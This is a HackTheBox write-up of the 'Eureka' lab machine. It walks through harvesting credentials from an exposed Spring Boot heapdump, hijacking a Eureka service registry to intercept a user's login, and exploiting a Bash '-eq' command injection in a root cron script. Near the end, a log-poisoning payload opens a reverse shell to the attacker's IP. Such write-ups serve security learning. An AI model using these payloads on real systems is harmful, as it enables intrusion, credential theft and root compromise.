Eureka – HackTheBox Link to heading
- OS: Linux
- Difficulty: Hard
- Platform: HackTheBox
Summary Link to heading
“Eureka” is a Hard machine from HackTheBox platform. The victim machine is running a website on Spring Boot
. This service has actuator
endpoint exposed, where we are able to find a heapdump
file that contain credentials for a user (that work for SSH
service) and another web services, that ended up to be Netflix Eureka
service. We then are able to add our attacker machine to load balanced thanks to Eureka
service. This means that when requests are made to the victim machine it will “relay” requests to our attacker machine; eventually obtaining the password of a second user. Once inside the victim machine, it is running a script that is vulnerable to Command Injection
in a Bash
script. As the second obtained user, we are able to poison a log file that injects a command as root
, compromising the system.
User Link to heading
We start with an Nmap
scan looking for open TCP
ports. We only find 3 ports open: 22
SSH
, 80
and 8761
HTTP
:
❯ sudo nmap -sS -p- --min-rate=5000 --open -n -Pn -vvv 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:06 -04
Happy 28th Birthday to Nmap, may it live to be 128!
Initiating SYN Stealth Scan at 01:06
Scanning 10.10.11.66 [65535 ports]
Discovered open port 22/tcp on 10.10.11.66
Discovered open port 80/tcp on 10.10.11.66
Discovered open port 8761/tcp on 10.10.11.66
Completed SYN Stealth Scan at 01:07, 16.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.66
Host is up, received user-set (0.22s latency).
Scanned at 2025-09-01 01:06:56 -04 for 17s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8761/tcp open unknown syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.84 seconds
Raw packets sent: 80816 (3.556MB) | Rcvd: 79875 (3.195MB)
Applying some recognition scans over these ports with Nmap
using -sVC
flag we get:
❯ sudo nmap -sVC -p22,80,8761 10.10.11.66
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-01 01:08 -04
Nmap scan report for 10.10.11.66
Host is up (0.29s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://furni.htb/
8761/tcp open http Apache Tomcat (language: en)
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
|_http-title: Site doesn't have a title.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.77 seconds
Scanning port 80
HTTP
redirects to http://furni.htb
domain.
Therefore, add furni.htb
domain along with the target IP address to our /etc/hosts
file:
❯ echo '10.10.11.66 furni.htb' | sudo tee -a /etc/hosts
Once done, use WhatWeb
to check technologies being used by the web server; we do this for port 80
and 8761
:
❯ whatweb -a 3 http://furni.htb
http://furni.htb [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.66], Meta-Author[Untree.co], Script, Title[Furni | Home], UncommonHeaders[x-content-type-options], X-Frame-Options[DENY], X-XSS-Protection[0], nginx[1.18.0]
❯ whatweb -a 3 http://furni.htb:8761
http://furni.htb:8761 [401 Unauthorized] Cookies[JSESSIONID], Country[RESERVED][ZZ], HttpOnly[JSESSIONID], IP[10.10.11.66], Java, UncommonHeaders[x-content-type-options], WWW-Authenticate[Realm][Basic], X-Frame-Options[DENY], X-XSS-Protection[0]
Site on port 80
is running on Nginx
, whereas site running on port 8761
is apparently using Java
to run the web server.
Visiting http://furni.htb
in a web browser shows a website about forniture:
If we visit the site on port 8761
it just shows an HTTP
login panel:
But default credentials do not work here.
To see if it is running on a Content Management System
we can intentionally search for a non-existent page and check its response. For example, if we search for http://furni.htb/anything
we get the response:
Checking then 0xdf’s blog for 404 pages we find it is the error page for Spring Boot
:
Java
web framework for creating Spring
based web applications. Spring
is a lightweight framework that offers an elaborate environment for robust programming and configuration model for Java
-based applications. Spring Boot
is a Java
-based framework that is best for creating stand-alone, Spring
-based applications in a short period.We can then attempt a simple Brute Force Directory Listing
with Gobuster
. First of all, search if there are specific wordlists for Spring Boot
at SecLists
:
❯ find /usr/share/seclists -name "*Spring*" 2>/dev/null
/usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
There is one.
Use that wordlist to search for directories:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt -u http://furni.htb -t 40
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://furni.htb
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/Programming-Language-Specific/Java-Spring-Boot.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/actuator (Status: 200) [Size: 2129]
/actuator/caches (Status: 200) [Size: 20]
/actuator/features (Status: 200) [Size: 467]
/actuator/env/lang (Status: 200) [Size: 668]
/actuator/env/home (Status: 200) [Size: 668]
/actuator/info (Status: 200) [Size: 2]
/actuator/env/path (Status: 200) [Size: 668]
/actuator/refresh (Status: 405) [Size: 114]
/actuator/health (Status: 200) [Size: 15]
/actuator/env (Status: 200) [Size: 6307]
/actuator/metrics (Status: 200) [Size: 3319]
/actuator/sessions (Status: 400) [Size: 108]
/actuator/scheduledtasks (Status: 200) [Size: 54]
/actuator/configprops (Status: 200) [Size: 37195]
/actuator/mappings (Status: 200) [Size: 35560]
/actuator/loggers (Status: 200) [Size: 98345]
/actuator/conditions (Status: 200) [Size: 184221]
/actuator/beans (Status: 200) [Size: 202253]
/actuator/threaddump (Status: 200) [Size: 232775]
Progress: 120 / 121 (99.17%)[ERROR] context deadline exceeded (Client.Timeout or context cancellation while reading body)
Progress: 120 / 121 (99.17%)
===============================================================
Finished
===============================================================
It seems that /actuator
directory is exposed.
Based on this blog, Actuator
is something similar to an endpoint used for debugging.
This other blog shows why if the directory /actuator
is exposed at Spring Boot
it could be dangerous. There, they talk about a /heapdump
endpoint as is mentioned here. Now, if we search for this file in the webserver using the suggested command with cURL
the file is there:
❯ curl 'http://furni.htb/actuator/heapdump' -O
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 76.4M 100 76.4M 0 0 1964k 0 0:00:39 0:00:39 --:--:-- 2986k
It happens this file is 76.4M
.
Why didn’t Gobuster
show it then? Because this file is so big, it takes more than 10 seconds (the default value for Gobuster
) to get that page and that’s why it is not directly reported. Apparently this has been “patched” for Gobuster
version 3.8.1
and later. “Patched” in the sense it now prints the error indicating the timeout.
As the blog suggests, we could try to find credentials in this heapdump
file. For this purpose we can use strings
along with grep
:
❯ strings heapdump | grep -i 'password='
proxyPassword='
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
update users set email=?,first_name=?,last_name=?,password=? where id=?!
We have what seems to be a password 0sc@r190_S0l!dP@sswd
and a user oscar190
.
We can also use JDumpSpider
(that can be downloaded from its Github repository) to search for credentials:
❯ wget https://github.com/whwlsfb/JDumpSpider/releases/download/dev-20250409T071858/JDumpSpider-1.1-SNAPSHOT-full.jar -q
and use this tool passing as argument the downloaded heapdump
file:
❯ java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
===========================================
SpringDataSourceProperties
-------------
password = 0sc@r190_S0l!dP@sswd
driverClassName = com.mysql.cj.jdbc.Driver
url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
username = oscar190
===========================================
<SNIP>
===========================================
OriginTrackedMapPropertySource
-------------
management.endpoints.web.exposure.include = *
spring.datasource.driver-class-name = com.mysql.cj.jdbc.Driver
spring.cloud.inetutils.ignoredInterfaces = enp0s.*
eureka.client.service-url.defaultZone = http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
server.forward-headers-strategy = native
spring.datasource.url = jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.application.name = Furni
server.port = 8082
spring.jpa.properties.hibernate.format_sql = true
spring.session.store-type = jdbc
spring.jpa.hibernate.ddl-auto = none
===========================================
<SNIP>
This tool not only finds the credentials for oscar
, it apparently also does for the site running on port 8761
as can be seen at:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
We get a new pair of credentials: EurekaSrvr:0scarPWDisTheB3st
.
If we put that credentials into http://furni.htb:8761
we can login and we are inside:
We can also check if credentials found for oscar190
user are valid for SSH
with NetExec
:
❯ nxc ssh 10.10.11.66 -u 'oscar190' -p '0sc@r190_S0l!dP@sswd'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] oscar190:0sc@r190_S0l!dP@sswd Linux - Shell access!
They worked.
Therefore, access to the victim machine using these credentials:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' ssh -o stricthostkeychecking=no oscar190@10.10.11.66
<SNIP>
Last login: Mon Sep 1 06:18:22 2025 from 10.10.16.10
oscar190@eureka:~$
user.txt
flag is not here, so we must pivot to another user.
Looking for users in this machine we can see another one called miranda-wise
:
oscar190@eureka:~$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
oscar190:x:1000:1001:,,,:/home/oscar190:/bin/bash
miranda-wise:x:1001:1002:,,,:/home/miranda-wise:/bin/bash
At /opt
there are some files. More specifically, there is a log_analyse-sh
file:
oscar190@eureka:~$ ls -la /opt
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
It is a big Bash
script. A function that seems interesting is:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
It is checking the code status at Status: <status code>
line.
More specifically, the line:
if ` "$existing_code" -eq "$code" `; then
Is interesting. Since if we can manipulate the variable $code
, we could reach a Command Injection
.
This blog explains why using -eq
can be critically vulnerable when we can manipulate one of the variables being compared. As an example, they provide the simple Bash
code:
#!/bin/bash
printf "Content-type: text\n\n"
read PARAMS
NUM="${PARAMS#num=}"
if ` "$NUM" -eq 100 `;then
echo "OK"
else
echo "NG"
fi
and reach Command Injection
in a web server thanks to -eq
:
$ curl -d num='x[$(cat /etc/passwd > /proc/$$/fd/1)]' http://localhost/index.cgi
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
gnome-initial-setup:x:126:65534::/run/gnome-initial-setup/:/bin/false
gdm:x:127:130:Gnome Display Manager:/var/lib/gdm3:/bin/false
NG
Now, we can check if we have any cronjobs
or tasks running using pspy
. First, download a binary from its Github repository and pass it to the victim machine using scp
and oscar190
credentials:
❯ sshpass -p '0sc@r190_S0l!dP@sswd' scp pspy64 oscar190@10.10.11.66:/tmp/pspy
Assign execution permissions to the binary, execute it and wait:
oscar190@eureka:~$ chmod +x /tmp/pspy
oscar190@eureka:~$ /tmp/pspy
<SNIP>
2025/09/01 06:38:49 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity
2025/09/01 06:39:01 CMD: UID=0 PID=133690 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133691 | /usr/sbin/CRON -f
2025/09/01 06:39:01 CMD: UID=0 PID=133693 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133694 | curl -s -i http://localhost:8081/login
2025/09/01 06:39:01 CMD: UID=0 PID=133698 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133696 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133701 | grep -oP (?<=Set-Cookie: SESSION=)[^;]+
2025/09/01 06:39:01 CMD: UID=0 PID=133700 | ???
2025/09/01 06:39:01 CMD: UID=0 PID=133699 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133702 | mktemp
2025/09/01 06:39:01 CMD: UID=0 PID=133703 | cat
2025/09/01 06:39:01 CMD: UID=0 PID=133704 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133707 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133710 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133713 | curl http://furni.htb/login -H Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8 -H Accept-Language: en-US,en;q=0.8 -H Cache-Control: max-age=0 -H Connection: keep-alive -H Content-Type: application/x-www-form-urlencoded -H Cookie: SESSION=YzJlYTY0N2QtZTA5My00ZDg3LWJhMDQtNWM1MTAzZDQ2YWEx -H User-Agent: Mozilla/5.0 (X11; Linux x86_64) --data @/tmp/tmp.57LtY6RdPV --insecure -i
2025/09/01 06:39:01 CMD: UID=0 PID=133716 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133719 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:39:01 CMD: UID=0 PID=133722 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133724 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133723 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133726 | /usr/sbin/CRON -f
2025/09/01 06:40:01 CMD: UID=0 PID=133725 |
2025/09/01 06:40:01 CMD: UID=0 PID=133727 | /bin/sh -c /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133728 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133731 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133730 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133729 | /bin/sh /opt/scripts/log_cleanup.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133734 | /bin/bash /opt/scripts/miranda-Login-Simulator.sh
2025/09/01 06:40:01 CMD: UID=0 PID=133733 | grep LoginSuccessLogger /var/www/web/cloud-gateway/log/application.log
2025/09/01 06:40:01 CMD: UID=0 PID=133732 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
<SNIP>
The script /opt/log_analyse.sh
is using the file application.log
.
We can check if we have read permissions over this file:
oscar190@eureka:~$ id
uid=1000(oscar190) gid=1001(oscar190) groups=1001(oscar190)
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/application.log
-rw-rw-r-- 1 www-data www-data 21433 Sep 1 06:46 /var/www/web/cloud-gateway/log/application.log
We don’t. Only www-data
has permissions over this file.
If we check permissions of /var/www/web/cloud-gateway/log/
directory:
oscar190@eureka:~$ ls -la /var/www/web/cloud-gateway/log/
total 48
drwxrwxr-x 2 www-data developers 4096 Sep 1 05:05 .
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 ..
-rw-rw-r-- 1 www-data www-data 22339 Sep 1 06:47 application.log
-rw-rw-r-- 1 www-data www-data 5702 Apr 23 07:37 application.log.2025-04-22.0.gz
-rw-rw-r-- 1 www-data www-data 5956 Sep 1 05:05 application.log.2025-04-23.0.gz
We can see that developers
group also can write in this directory.
But only miranda-wise
user is a member of this group:
oscar190@eureka:~$ getent group developers
developers:x:1003:miranda-wise
So we must find a way to pivot to this user.
Now is when the Eureka
services comes in. If we search for netflix eureka
(as Netflix
uses this service) we get:
Netflix Eureka
is a service registry and discovery tool designed for cloud-based microservice architectures, allowing individual services to register themselves and dynamically discover other services without manual configuration. It consists of a Eureka Server
, which acts as a central registry, and Eureka Clients
, which are the microservices that register and query the server to find other services. Eureka is particularly useful in dynamic environments where service instances may change locations or scale up and down, facilitating dynamic load balancing and communication between services.This another blog also relates Eureka
to Spring Boot
. Basically, we can add our IP address to the dynamic load balancer. If a user makes a request, we could then make this request point to our attacker machine. This another blog explains how to add ourselves. If we go back to the site we logged in at port 8761
we can see 3 instances registered at Eureka
:
We have an app-geteway
instance on port 8080
, Furni
app (probably the website) on port 8082
and User-Management-Service
on port 8081
.
Following the blog and also the REST API for Eureka
we can add a payload (malicious instance) with cURL
:
❯ curl -X POST http://EurekaSrvr:0scarPWDisTheB3st@10.10.11.66:8761/eureka/apps/USER-MANAGEMENT-SERVICE -H 'Content-Type: application/json' -d '{
"instance": {
"instanceId": "gunzf0x",
"hostName": "10.10.16.10",
"app": "USER-MANAGEMENT-SERVICE",
"ipAddr": "10.10.16.10",
"vipAddress": "USER-MANAGEMENT-SERVICE",
"status": "UP",
"port": {
"$": 8081,
"@enabled": "true"
},
"dataCenterInfo": {
"@class": "com.netflix.appinfo.InstanceInfo$DefaultDataCenterInfo",
"name": "MyOwn"
}
}
}'
Where 10.10.16.10
is our attacker IP address, naming the evil instance as gunzf0x
.
If we check the original webpage (refresh the page), our added instance is there:
As we have set port 8081
as instance, start a netcat
listener on that port or a Python
HTTP
temporal server. After some time we get an HTTP
request:
❯ nc -lvnp 8081
listening on [any] 8081 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 60372
POST /login HTTP/1.1
X-Real-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1,127.0.0.1
X-Forwarded-Proto: http,http
Content-Length: 168
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Language: en-US,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: SESSION=OWMwNWNjYjMtZDY3Ni00ZTMyLWE2MjQtZjRmN2I2NmQ4NGMx
User-Agent: Mozilla/5.0 (X11; Linux x86_64)
Forwarded: proto=http;host=furni.htb;for="127.0.0.1:55214"
X-Forwarded-Port: 80
X-Forwarded-Host: furni.htb
host: 10.10.16.10:8081
username=miranda.wise%40furni.htb&password=IL%21veT0Be%26BeT0L0ve&_csrf=tVeYamwuq0Ip_wtToyfLpdJLSrx1CAW7fOVu_91KEt7y62plgWP5DF5KmScEmm9hwgr_xOB8Z90Ubj2WSYFXmrlyK-3C2FlS
If we url-decode the obtained password
parameter, we get: IL!veT0Be&BeT0L0ve
.
Check if this password works for miranda-wise
user with NetExec
for SSH
service:
❯ nxc ssh 10.10.11.66 -u 'miranda-wise' -p 'IL!veT0Be&BeT0L0ve'
SSH 10.10.11.66 22 10.10.11.66 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.66 22 10.10.11.66 [+] miranda-wise:IL!veT0Be&BeT0L0ve Linux - Shell access!
They worked.
Log in as miranda-wise
user throughout SSH
(or pivot internally from oscar190
session):
❯ sshpass -p 'IL!veT0Be&BeT0L0ve' ssh -o stricthostkeychecking=no miranda-wise@10.10.11.66
<SNIP>
Last login: Mon Sep 1 07:29:16 2025 from 10.10.16.10
miranda-wise@eureka:~$
We can grab the user flag.
Root Link to heading
Now that we are miranda-wise
user, we are part of developers
group:
miranda-wise@eureka:~$ id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
and as we have seen, developers
group can write files at /var/www/web/cloud-gateway/log/
directory.
We can then abuse the Command Injection
at log_analyser.sh
. As pspy
has shown, user with PID=0
is running this task, i.e., root
. As we have seen, we don’t have direct permissions over application.log
directory. But we do have permissions over the directory that contains that file as we are members of developers
group. This means we cannot directly modify that fiule, but we do can remove it or rename it:
Remembering, the vulnerable function was:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
We need to write the payload at the right of Status:
string. But also at the end of it it is expecting the word HTTP Status
. Therefore, the payload might have the form:
HTTP Status: <payload>
Start a listener with netcat
on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
We can write the new application.log
file and inject the payload to get a reverse shell:
miranda-wise@eureka:/var/www/web/cloud-gateway/log$ echo 'HTTP Status: x[$(/bin/bash -i >& /dev/tcp/10.10.16.10/443 0>&1)]' > application.log
After some seconds, we get a shell as root
user:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.10] from (UNKNOWN) [10.10.11.66] 40226
bash: cannot set terminal process group (222139): Inappropriate ioctl for device
bash: no job control in this shell
root@eureka:~# whoami
whoami
root
GG. We can grab the root
flag at /root
directory.
~Happy Hacking.